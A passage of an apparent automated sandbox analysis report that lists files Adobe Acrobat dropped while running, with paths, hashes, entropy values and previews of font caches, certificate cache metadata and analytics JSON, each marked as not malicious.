Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFklFF4GbNttfllXlE/HT8kjTlhlXNNX8RolJuRdxLlGB9lQRYwpDdt:kK1GpteT8qpRNMa8RdWBwRd
MD5:	F17B6CA4CB620E9F5053D6B232D09E0E
SHA1:	C0291E31BBE708B8BF06EABD7F9651CE269B58ED
SHA-256:	2CF3DE3B7F95A44EB0D429C5562868D28D8899361982AFBD4C9ADEDB60D9AFBF
SHA-512:	82B127101435CCBAFB70BAABC46A276F1B09647DEC77B3A1836FFBAA6B31900751CBB350631A8E41ABF93C3FC27E2003895779A6ED5688612578B503C1CABD7F
Malicious:	false
Preview:	p...... ........v..g.c..(....................................................... ..........W....F...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKpGDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:BGDiDImsLNkPlE99SNxAhUe/3
MD5:	66ADE6F11BC841735C1BFCDAE757CB59
SHA1:	CF7214616E6664223A8797B1B950E2966905C72B
SHA-256:	4320D83CF2FFB8B7619731E81768FADC818980732F0E2BA43E5BBA93970387FF
SHA-512:	ABF26C47F58EF43B72FF5674CC0BE553E85859807A2CBB5B0A13B64C8A5F4B09A9AA09BBB24601A8C11D779341B03A89C0A406F94294BE320B9538C83B265240
Malicious:	false
Preview:	p...... .........X.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7064

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7064

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.367689569036575
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJM3g98kUwPeUkwRe9:YvXKXDqNYpW7sGMbLUkee9
MD5:	89DB818A9A947AE0A29C6EC262DAA743
SHA1:	B6251A36BAC8BFE8770ABA00DE43B57E958266DD
SHA-256:	D1F25889FC040DB2D86D5CCF9BDF8205474D6BF401129AC978356A7AED8996F3
SHA-512:	BBBF904C11A460E035CF3C762BE6013F5067C1D8E035C58451E829319C3304E72370B5E390236B910E5CA903F3F18C0BFC964C479E2CAC991B881A69E03A8289
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306550288017036
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJfBoTfXpnrPeUkwRe9:YvXKXDqNYpW7sGWTfXcUkee9
MD5:	DEEE62C0747F3E92766FAF0F7B4451A6
SHA1:	42E089DF34C65D3C04678A54442C1663210EE364
SHA-256:	4AF5F561CA0CBF16ABB631A0E08686735C10CC1A180083B52051E0DC1047F25E
SHA-512:	428ED0248335C5515017E6BD437FB028400E513D4199391B8B645B5BEA028385B14DB6BCF49C82EE38E35AF58A193D49A5D0442B647EFEC0283AA1BDFA79C6CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284809783374843
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJfBD2G6UpnrPeUkwRe9:YvXKXDqNYpW7sGR22cUkee9
MD5:	C621081E5FFC48FA4B66CF7D0E8F4098
SHA1:	B7F18FB673D1495F807C6C3F1E0F505CFB279699
SHA-256:	0F9A11D128C5280742C158A7E5CFBED044779F2F7C8A2B4794A8D92C6FDBBD16
SHA-512:	1A03A074D697719E8D757628CE2EC2B5BB00937893F6C1821499374054D58ED168800208912135661134D86DBE49CDB42FA902542FDFD493911B48A380A2F8A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3467342425754
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJfPmwrPeUkwRe9:YvXKXDqNYpW7sGH56Ukee9
MD5:	BA416119ADB7812ABD4B8D273ED7DC6D
SHA1:	E6882208DE7A69EB3AF5358D9AEA446B1B2AFA09
SHA-256:	C16626FE798896D94D8CDCFBBFDBE3C8C7A4D3DEA585E85C5D654A760DBBB00D
SHA-512:	FF68443CEEF282EAE50751535174DDFC640F4BCD02DA0E65DB03159E4F773A761A3AFADCBDFF31630AA6A74CFD17E0457C1D4F5592C5B4BFA832FF25FEAB67E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694269486482374
Encrypted:	false
SSDEEP:	24:Yv6X3iJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSt:YvhJhgy6SAFv5Ah8cv/t
MD5:	7A5BEFB09D4D4D360784423818DCAF30
SHA1:	1F8CB55C29A95ABABFA0F57B4E12685087915A13
SHA-256:	054FAA16C6F381D439BD4BA9DC26260F8A0BC936F73B3C8165CA8399FC0A25B2
SHA-512:	70324B435319E738A1E0AADC3B150AB5B650D3BB7633D095EEC4E636CF81FF80D7288EB26CB6699BE6D6F6F4AABBCBA952203336EDA95B97EDB583DAE091AB4F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292996537799424
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJf8dPeUkwRe9:YvXKXDqNYpW7sGU8Ukee9
MD5:	9BA1BEE32E1F88AE5BDAF1F212A85BB9
SHA1:	02A0DEA1255911FDC752BA2CB0C61475A136BCC8
SHA-256:	8982D84DFEC32143390FA54EA16F080A57380ADACE6D9F0BDFAFF1E4F562F1C2
SHA-512:	D4EEF1CA97ED6589BA3A307FB09B36A3AC2F5B2B9DA54B540B4A69D6B1B91440947A4C6CA78038D68F01F00A3A2B77F953F6E4D1143CCDD26E09FFDAF71B2948
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.293694065758842
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJfQ1rPeUkwRe9:YvXKXDqNYpW7sGY16Ukee9
MD5:	3C71D74952B9EEEAA8E91AAB598C9C4F
SHA1:	1B9EBFB29370587513BB47FDB9F69CB604A3E3D2
SHA-256:	B8F6AEDB32C8AF804F57BF542E655CAFF0EC3D2EB776F4F389EACD00BBC93DBA
SHA-512:	9F728C03D1BDFD0933B94D3CA3164BCCEB020CEFF97F5DF848639567FF513AB2FD15A19361028D360F4038803AC948A4EC6DE4CB961FF341E4ED744225214458
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313513596987297
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJfFldPeUkwRe9:YvXKXDqNYpW7sGz8Ukee9
MD5:	21C7E6C23C656A410F371BBA81E34508
SHA1:	C5B0735B1C31C264F8EAD1E142F6AB76C9060D74
SHA-256:	F8157B2667F496CA50A773940F67DC43D7617056B68F6C725F9D1E0F8AAC91CB
SHA-512:	2FA12438D1A66B817B4467A18691A26477A354CAD9AC0984505CC550E5DE0F37D07A90D84DDE1315CDEAFABF24A91C8DF03476C93E956A97C1FB37EFA8415ED7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.321186954757022
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJfzdPeUkwRe9:YvXKXDqNYpW7sGb8Ukee9
MD5:	CE6DE6C12777C0B731363F58DB4581DB
SHA1:	592030E05A753775CBA417551495D9D1C9D69A5E
SHA-256:	CAE8725EA3C3805FF2C613948F6A916F347872F0837DC0026590D06BFC5D40E5
SHA-512:	F72F78A658C850062BA7734B3D6F83CEAD2EFA3C01351F46D61EA0CF74043540D46AE875835524DECAA98929B825076C5BE030C6AD2C90B71368A2A515B4F15A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301262529171529
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJfYdPeUkwRe9:YvXKXDqNYpW7sGg8Ukee9
MD5:	3C492E163833C92496046B8176326C00
SHA1:	0312DF76F35AAEE5E96318095407ED7DE5FB948D
SHA-256:	FE71D76A7CFEF76F7C141F2CD5D2B6472C6F1BCBBCA9F08394F8211C64520E77
SHA-512:	78864D2D88D5B466904649CAECEBD1286EAC3CF3052FF957C99F73A731592BA26F7A7A1BC648AE521930A0AE83ED6C6855E505F98A736456E64288D9C5231BD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.287335129620662
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJf+dPeUkwRe9:YvXKXDqNYpW7sG28Ukee9
MD5:	B8B7549A8D1885C4EF0FEE922B93F7FA
SHA1:	37C07D04B5EB97AAA9D0E10750DEA5367B6A22FE
SHA-256:	EDFA4C1E5F75A1FCA817018E7CBBB943B1A30CE9EFFA245EA15B9947BCA67056
SHA-512:	F41B5EB9A352AB820F39F3D8CD1B36CDEEC1DE4ED635D3FA865D1DE0D8A625EF0AC4EF4AB9DDB278A0E10067FA0B704270553B681969C02B3193C30C09C84F26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.284800949668956
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJfbPtdPeUkwRe9:YvXKXDqNYpW7sGDV8Ukee9
